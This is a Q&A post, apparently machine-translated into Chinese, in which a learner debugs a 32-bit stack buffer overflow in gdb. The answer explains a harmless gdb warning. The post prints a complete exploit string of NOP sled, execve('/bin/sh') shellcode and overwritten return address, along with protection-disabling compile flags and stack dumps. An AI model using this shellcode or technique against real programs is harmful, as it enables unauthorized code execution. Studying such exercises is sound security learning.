无法在地址访问内存,缓冲区溢出尝试

Cannot access memory at address, Buffer Overflow attempt

我正在学习如何溢出缓冲区。我很难覆盖 return 地址。 这是我试图利用的易受攻击的代码:

(gdb) disas main 
Dump of assembler code for function main:
0x0804845b <+0>:     push   ebp
0x0804845c <+1>:     mov    ebp,esp
0x0804845e <+3>:     sub    esp,0x100
0x08048464 <+9>:     mov    eax,DWORD PTR [ebp+0xc]
0x08048467 <+12>:    add    eax,0x4
0x0804846a <+15>:    mov    eax,DWORD PTR [eax]
0x0804846c <+17>:    push   eax
0x0804846d <+18>:    call   0x8048340 <strlen@plt>
0x08048472 <+23>:    add    esp,0x4
0x08048475 <+26>:    mov    edx,eax
0x08048477 <+28>:    mov    eax,DWORD PTR [ebp+0xc]
0x0804847a <+31>:    add    eax,0x4
0x0804847d <+34>:    mov    eax,DWORD PTR [eax]
0x0804847f <+36>:    push   edx
0x08048480 <+37>:    push   eax
0x08048481 <+38>:    lea    eax,[ebp-0x100]
0x08048487 <+44>:    push   eax
0x08048488 <+45>:    call   0x8048320 <memcpy@plt>
0x0804848d <+50>:    add    esp,0xc
0x08048490 <+53>:    lea    eax,[ebp-0x100]
0x08048496 <+59>:    push   eax
0x08048497 <+60>:    call   0x8048310 <printf@plt>
0x0804849c <+65>:    add    esp,0x4
0x0804849f <+68>:    leave  
0x080484a0 <+69>:    ret

我已禁用 ASLR。 我遵守了:

gcc -m32 -mpreferred-stack-boundary=2 -z execstack -fno-stack-protector vuln.c -o vuln

我正在使用 -mpreferred-stack-boundary=2,因为没有它,反汇编看起来与我遵循的教程非常不同。缓冲区长 256 字节。所以 264 字节足以覆盖保存的 EIP,我用:

r $(python -c 'print "\x90"*234+"\x31\xc9\xf7\xe1\xb0\x0b\xeb\x06\x5b\x51\x53\x5b\xcd\x80\xe8\xf5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"+"\x58\xd0\xff\xff"')

Shellcode占用26个字节。当 EIP 位于 main+68:

时,堆栈看起来像这样
(gdb) x/100x $esp
0xffffd058:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd068:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd078:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd088:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd098:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd0a8:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd0b8:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd0c8:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd0d8:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd0e8:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd0f8:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd108:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd118:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd128:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd138:     0x90909090      0x90909090      0xc9319090      0x0bb0e1f7
0xffffd148:     0x515b06eb      0x80cd5b53      0xfffff5e8      0x69622fff
0xffffd158:     0x68732f6e      0xffffd058      0x00000002      0xffffd1f4
0xffffd168:     0xffffd200      0xf7feac7a      0x00000002      0xffffd1f4
0xffffd178:     0xffffd194      0x08049730      0x0804821c      0xf7fb2000
0xffffd188:     0x00000000      0x00000000      0x00000000      0xcad6d58d
0xffffd198:     0xf1c0519d      0x00000000      0x00000000      0x00000000
0xffffd1a8:     0x00000002      0x08048360      0x00000000      0xf7ff04b0
0xffffd1b8:     0xf7e25979      0xf7ffd000      0x00000002      0x08048360
0xffffd1c8:     0x00000000      0x08048381      0x0804845b      0x00000002
0xffffd1d8:     0xffffd1f4      0x080484b0      0x08048520      0xf7feb130

Return 地址位于 0xFFFFD15Cleave 堆栈看起来像这样:

(gdb) si
0x080484a0 in main ()
(gdb) x/16x $esp
0xffffd15c:     0xffffd058      0x00000002      0xffffd1f4      0xffffd200
0xffffd16c:     0xf7feac7a      0x00000002      0xffffd1f4      0xffffd194
0xffffd17c:     0x08049730      0x0804821c      0xf7fb2000      0x00000000
0xffffd18c:     0x00000000      0x00000000      0xcad6d58d      0xf1c0519d

下一条指令 ret,应该将地址 0xFFFFD058 移动到 EIP 并使用 shellcode 执行 nopslide,但事实并非如此。

(gdb) si
Cannot access memory at address 0x68732f72
(gdb) x/16x $esp
0xffffd160:     0x00000002      0xffffd1f4      0xffffd200      0xf7feac7a
0xffffd170:     0x00000002      0xffffd1f4      0xffffd194      0x08049730
0xffffd180:     0x0804821c      0xf7fb2000      0x00000000      0x00000000
0xffffd190:     0x00000000      0xcad6d58d      0xf1c0519d      0x00000000
(gdb) i r
eax            0x109    265
ecx            0x0      0
edx            0xf7fb3878       -134530952
ebx            0xf7fb2000       -134537216
esp            0xffffd160       0xffffd160
ebp            0x68732f6e       0x68732f6e
esi            0x0      0
edi            0x0      0
eip            0xffffd058       0xffffd058
eflags         0x282    [ SF IF ]
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x0      0
gs             0x63     99

这是来自 gdb 的无害警告,不是程序错误。 eip 正确设置为 0xffffd058gdb 可能正在尝试访问帧信息,但由于 ebp 无效,因此失败。不影响你程序的执行,你可以照常继续单步执行。

对于程序错误,您会清楚地看到SIGSEGV错误信息。